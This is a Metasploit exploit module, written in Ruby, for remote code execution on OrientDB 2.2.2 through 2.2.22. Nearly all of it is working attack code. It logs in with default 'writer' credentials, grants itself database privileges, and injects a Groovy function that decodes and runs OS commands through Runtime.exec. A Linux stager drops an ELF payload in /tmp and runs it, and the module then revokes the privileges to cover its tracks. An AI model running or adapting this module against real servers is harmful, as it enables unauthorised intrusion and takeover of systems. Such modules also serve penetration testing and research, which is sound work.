OrientDB 2.2.2 < 2.2.22 - Remote Code Execution

                                                ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OrientDB 2.2.x Remote Code Execution',
      'Description'    => %q{
          This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
          All versions from 2.2.2 up to 2.2.22 should be vulnerable.
      },
      'Author'  =>
        [
          'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
          'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
          ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
          ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
        ],
      'Platform'  => %w{ linux unix win },
      'Privileged'  => false,
      'Targets'   =>
        [
          ['Linux',    {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
          ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
          ['Windows',  {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
        ],
      'DisclosureDate' => 'Jul 13 2017',
      'DefaultTarget'  => 0))
 
    register_options(
      [
        Opt::RPORT(2480),
        OptString.new('USERNAME', [ true,  'HTTP Basic Auth User', 'writer' ]),
        OptString.new('PASSWORD', [ true,  'HTTP Basic Auth Password', 'writer' ]),
        OptString.new('TARGETURI', [ true,  'The path to the OrientDB application', '/' ])
      ])
  end
 
  def check
    uri = target_uri
    uri.path = normalize_uri(uri.path)
    res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
    if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
      print_good("Version: #{res.headers['Server']}")
      return Exploit::CheckCode::Vulnerable
    else
      print_status("Version: #{res.headers['Server']}")
      return Exploit::CheckCode::Safe
    end
  end
 
  def http_send_command(cmd, opts = {})
    # 1 -Create the malicious function
    func_name = Rex::Text::rand_text_alpha(5).downcase
    request_parameters = {
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
      'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
    }
    res = send_request_raw(request_parameters)
    if not (res and res.code == 201)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to create the malicious function.')
        return
      end
    end
    # 2 - Trigger the malicious function
    request_parameters = {
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
      'data' => ""
    }
    req = send_request_raw(request_parameters)
    if not (req and req.code == 200)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
        return
      end
    end
    # 3 - Get the malicious function id
    if res && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)["@rid"]
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
        return
      end
    end
    func_id = json_body.slice(1..-1)
    # 4 - Delete the malicious function
    request_parameters = {
      'method'    => 'DELETE',
      'uri'       => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*' },
      'data' => ""
    }
    rer = send_request_raw(request_parameters)
    if not (rer and rer.code == 204)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
        return
      end
    end
  end
 
  def java_craft_runtime_exec(cmd)
    decoder = Rex::Text.rand_text_alpha(5, 8)
    decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
    cmd_array = Rex::Text.rand_text_alpha(5, 8)
    jcode =  "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
    jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
    jcode << "String [] #{cmd_array} = new String[3];\n"
    if target['Platform'] == 'win'
      jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
      jcode << "#{cmd_array}[1] = \"/c\";\n"
    else
      jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
      jcode << "#{cmd_array}[1] = \"-c\";\n"
    end
    jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
    jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
    jcode
  end
 
  def on_new_session(client)
    if not @to_delete.nil?
      print_warning("Deleting #{@to_delete} payload file")
      execute_command("rm #{@to_delete}")
    end
  end
 
  def execute_command(cmd, opts = {})
    vprint_status("Attempting to execute: #{cmd}")
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
    if res && res.code == 200 && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)["databases"]
      rescue JSON::ParserError
        print_error("Unable to parse JSON")
        return
      end
    else
      print_error("Timeout or unexpected response...")
      return
    end
    targetdb = json_body[0]
    http_send_command(cmd,targetdb)
  end
 
  def linux_stager
    cmds = "echo LINE | tee FILE"
    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    base64 = Rex::Text.encode_base64(exe)
    base64.gsub!(/\=/, "\\u003d")
    file = rand_text_alphanumeric(4+rand(4))
    execute_command("touch /tmp/#{file}.b64")
    cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
    base64.each_line do |line|
      line.chomp!
      cmd = cmds
      cmd.gsub!(/LINE/, line)
      execute_command(cmds)
    end
    execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
    execute_command("chmod +x /tmp/#{file}")
    execute_command("rm /tmp/#{file}.b64")
    execute_command("/tmp/#{file}")
    @to_delete = "/tmp/#{file}"
  end
 
  def exploit
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
    if res && res.code == 200 && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)["databases"]
      rescue JSON::ParserError
        print_error("Unable to parse JSON")
        return
      end
    else
      print_error("Timeout or unexpected response...")
      return
    end
    targetdb = json_body[0]
    privs_enable = ['create','read','update','execute','delete']
    items = ['database.class.ouser','database.function','database.systemclusters']
    # Set the required DB permissions
    privs_enable.each do |priv|
      items.each do |item|
       request_parameters = {
        'method'    => 'POST',
        'uri'       => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
        'vars_get' => { 'format' => 'rid,type,version,class,graph' },
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
        'headers' => { 'Accept' => '*/*' },
        'data' => "GRANT #{priv} ON #{item} TO writer"
       }
       res = send_request_raw(request_parameters)
      end
    end
    # Exploit
    case target['Platform']
    when 'win'
      print_status("#{rhost}:#{rport} - Sending command stager...")
      execute_cmdstager(flavor: :vbs)
    when 'unix'
      print_status("#{rhost}:#{rport} - Sending payload...")
      res = http_send_command("#{payload.encoded}","#{targetdb}")
    when 'linux'
      print_status("#{rhost}:#{rport} - Sending Linux stager...")
      linux_stager
    end
    handler
    # Final Cleanup
    privs_enable.each do |priv|
      items.each do |item|
       request_parameters = {
        'method'    => 'POST',
        'uri'       => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
        'vars_get' => { 'format' => 'rid,type,version,class,graph' },
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
        'headers' => { 'Accept' => '*/*' },
        'data' => "REVOKE #{priv} ON #{item} FROM writer"
       }
       res = send_request_raw(request_parameters)
      end
    end
   end
end